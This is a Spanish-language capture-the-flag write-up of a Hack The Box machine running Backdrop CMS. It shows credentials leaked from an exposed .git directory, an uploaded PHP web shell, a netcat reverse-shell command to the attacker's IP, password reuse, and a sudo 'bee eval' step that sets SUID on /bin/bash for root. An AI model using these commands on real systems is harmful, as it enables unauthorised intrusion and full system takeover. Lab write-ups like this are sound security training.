Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Enumeración e intrusión web

Podemos observar que el propio nmap nos indica que existe un directorio .git, el cual lo podemos descargar con la herramienta git-hack:

# python3 git-hack http://10.10.11.58/.git

En el podemos ver que existe un archivo llamado settings.php en el que podemos encontrar lo siguiente:

$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

Tenemos entonces una posible contraseña, pero nos falta un usuario. Si buscamos por la cadena dog.htb en todo el directorio .git, descubrimos lo siguiente:

# grep -r "dog.htb"  
    files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"

Por lo que tenemos unos posibles credenciales tiffany:BackDropJ2024DS2024. Probamos a loguearnos a través del servicio SSH, pero vemos que no somos capaces de realizarlo. En la página web, existe un formulario de inicio de sesión, y ahí si que somos capaces de acceder.

 

3. Acceso a la máquina

Si con wapplyzer listamos las tecnologías de la web, observamos que utiliza el CMS Backdrop. Podemos entonces buscar por exploits que efecten a dicho servicio, y encontramos el siguiente: https://www.exploit-db.com/exploits/52021, el cual crea una shell php en un endpoint de la aplicación.

Si lo ejecutamos genererá un archivo .zip que tendremos que subir al endpoint http://10.10.11.58/?q=admin/installer/manual. Pero vemos que en el formulario de subida del archivo solo permite archivos tar.gz, por lo que descomprimimos el .zip y lo comprimimos de nuevo en el nuevo formato:

# tar -czvf shell.tar.gz shell

Una vez subido, vemos que tendremos una shell en php en el endpoint http://10.10.11.58//modules/shell/shell.php?cmd=. Por lo que podemos hacer una revershell a nuestra máquina:

# nc -lvnp 4444

Y realizando la petición:

http://10.10.11.58//modules/shell/shell.php?cmd=/bin/bash -i 2>&1|nc 10.10.15.100 4444

Accedemos entonces como usuario www-data a la máquina.

 

4. Movimiento lateral

Vemos que existe el usuario johncusack y que si probamos con la contraseña, listada en el paso 2: BackDropJ2024DS2024 damos accedido. Conseguimos entonces la flag de usuario.

 

5. Escalado de privilegios

Si hacemos sudo -l vemos los siguiente:

Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

Si observamos dicho ejecutable, vemos lo siguiente:

#!/usr/bin/env php
<?php
/**
* @file
* A command line utility for Backdrop CMS.
*/

// Exit gracefully with a meaningful message if installed within a web
// accessible location and accessed in the browser.
if (!bee_is_cli()) {
echo bee_browser_load_html();
die();
}

// Set custom error handler.
set_error_handler('bee_error_handler');

// Include files.
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/globals.inc';

// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();

/**
* Custom error handler for `bee`.
*
* @param int $error_level
*   The level of the error.
* @param string $message
*   Error message to output to the user.
* @param string $filename
*   The file that the error came from.
* @param int $line
*   The line number the error came from.
* @param array $context
*   An array of all variables from where the error was triggered.
*
* @see https://www.php.net/manual/en/function.set-error-handler.php
* @see _backdrop_error_handler()
*/
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
require_once __DIR__ . '/includes/errors.inc';
_bee_error_handler_real($error_level, $message, $filename, $line, $context);
}

/**
* Detects whether the current script is running in a command-line environment.
*/
function bee_is_cli() {
return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

/**
* Return the HTML to display if this page is loaded in the browser.
*
* @return string
*   The concatentated html to display.
*/
function bee_browser_load_html() {
// Set the title to use in h1 and title elements.
$title = "Bee Gone!";
// Place a white block over "#!/usr/bin/env php" as this is output before
// anything else.
$browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'>&nbsp;</div>";
// Add the bee logo and style appropriately.
$browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
// Add meaningful text.
$browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
$browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
// Add the document title using javascript when the window loads.
$browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
// Output the combined string.
return $browser_output;
}

Podemos entonces ejecutar lo siguiente, para otorgar permisos suids al ejecutable /bin/bash.

# sudo /usr/local/bin/bee --root=/var/www/html eval 'exec("chmod +s /bin/bash");'

Para obtener una bash como root, simplemente tenemos que ejecutar # /bin/bash -p, y vemos que somos capaces de obtener la flag de root.